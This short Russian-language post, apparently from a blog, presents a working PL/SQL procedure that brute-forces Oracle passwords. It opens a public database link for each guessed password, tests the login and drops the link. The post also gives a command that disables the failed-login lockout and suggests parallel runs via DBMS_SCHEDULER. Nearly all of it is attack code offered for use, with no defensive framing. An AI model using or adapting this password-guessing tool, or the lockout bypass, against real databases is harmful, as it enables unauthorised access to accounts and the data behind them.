Перебор паролей к Oracle через PL/SQL

Пример процедуры подбора пароля по словарю  к Oracle на PL/SQL с помощью подключений dblink. В цикле по таблице словаря на каждый пароль создается подключение, пытается подключиться и связь удаляется. Цикл останавливается когда пароль  совпадет. При условии что включен безлимитное количество неудачных попыток входа: alter profile default limit failed_login_attempts unlimited;  С помощью DBMS_SCHEDULER можно запустить параллельно несколько потоков.

create or replace procedure P_R_BRUT as

sUSER varchar2(15) := 'test1';
sIP varchar2(15) := '127.0.0.1';
sSID varchar2(15) := 'APEX';
sPORT varchar2(5) := '1521';
sRESULT varchar2(1000);

procedure P_CREATE_LINK(sPASS in varchar2) as
begin
execute immediate 'create public database link MY_CONNECT connect to ' ||
sUSER || ' identified by ' || sPASS || ' using ''' || sIP || ':' ||
sPORT || '/' || sSID || '''';
end;

procedure P_DROP_LINK as
begin
execute immediate 'drop public database link MY_CONNECT';
end;

function F_CONNECT return varchar2 as
sRESULT varchar2(1000);
no_pass EXCEPTION;
PRAGMA EXCEPTION_INIT(no_pass, -1017); -- ORA-01017
begin
begin
execute immediate 'select 1 from dual@MY_CONNECT'
into sRESULT;
exception
when no_pass then
sRESULT := 'logon denied';
when others then
sRESULT := sqlerrm;
end;
return sRESULT;
end;

procedure P_CLOSE_LINK as
begin
begin
DBMS_SESSION.CLOSE_DATABASE_LINK('MY_CONNECT');
exception
when others then
null;
end;
end;

begin
for i in REVERSE -5 .. 12 loop
P_CREATE_LINK('test' || i);
sRESULT := F_CONNECT;
if (sRESULT = '1') then
dbms_output.put_line('Password: ' || 'test' || i);
elsif (sRESULT <> 'logon denied') then
dbms_output.put_line(sRESULT);
end if;
--P_CLOSE_LINK;
P_DROP_LINK;
exit when sRESULT = '1' or sRESULT <> 'logon denied';
end loop;
end P_R_BRUT;